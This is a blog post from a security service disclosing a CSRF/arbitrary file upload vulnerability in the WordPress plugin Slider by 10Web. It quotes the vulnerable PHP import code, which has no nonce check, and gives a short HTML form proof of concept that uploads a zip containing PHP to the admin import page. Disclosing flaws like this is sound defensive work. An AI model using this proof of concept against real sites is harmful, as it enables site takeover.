29 Jan

Our Proactive Monitoring Caught a CSRF/Arbitrary File Upload Vulnerability in a WordPress Plugin with 70,000+ Installs

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a less serious variant of an arbitrary file upload vulnerability in a plugin with 70,000+ installs, Slider by 10Web. The vulnerability could allow an attacker that could get a logged in Administrator to access a page they control to upload a malicious file to a website and then they could take any action they wanted with the website.

What makes the vulnerability notable in a way is that the functionality with the vulnerability is present as being disabled in the free version of the plugin:

In reality the underlying code for the functionality is not disabled, just the frontend interface.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

Accessing the plugin’s admin Import page causes the function to run demo_sliders():

$demo_slider = add_submenu_page($parent_slug, __('Import', $this->prefix), __('Import', $this->prefix), 'manage_options', 'demo_sliders_wds', array($this, 'demo_sliders'));

That function will cause the file /demo_sliders/demo_sliders.php to be loaded if the user making the request has the “manage_options” capability, so normally only Administrators (that capability would also been need to access the admin page):

function demo_sliders() {
  if (function_exists('current_user_can')) {
    if (!current_user_can('manage_options')) {
      die('Access Denied');
  else {
    die('Access Denied');
  require_once($this->plugin_dir . '/demo_sliders/demo_sliders.php');

The first code in that file will save a file sent with the request that to the directory /wp-content/uploads/slider-wd/

if( isset($_REQUEST['wds_import_submit']) && ! empty($_FILES['fileimport']) ) {
    require_once(WDS()->plugin_dir . '/framework/WDW_S_Library.php');
    global $wpdb;
    $flag = FALSE;
    $file = $_FILES['fileimport'];
    $dest_dir = ABSPATH . WDS()->upload_dir;
    if ( ! file_exists( $dest_dir ) ) {
      mkdir( $dest_dir, 0777, true );
    if ( move_uploaded_file($file["tmp_name"], $dest_dir .'/'. $file["name"]) ) {
      $flag = WDW_S_Library::wds_import_zip_action( $dest_dir, $file["name"] );

Then the function wds_import_zip_action() in the file /framework/WDW_S_Library.php will run. A lot of code runs in that, but the end result is if you uploaded a .zip file with a .php file, that .php file will now be saved in the directories /wp-content/uploads/slider-wd/import/ and /wp-content/uploads/slider-wd/.original/.

At no point in the process is valid nonce checked for, which would prevent cross-site request forgery (CRSR).

Proof of Concept

The following proof of concept will cause a file placed in an upload .zip file to be saved in the directories /wp-content/uploads/slider-wd/import/ and /wp-content/uploads/slider-wd/.original/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin.php?page=demo_sliders_wds&wds_import_submit=test" method="POST" enctype="multipart/form-data">
<input type="file" name="fileimport" />
<input type="submit" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.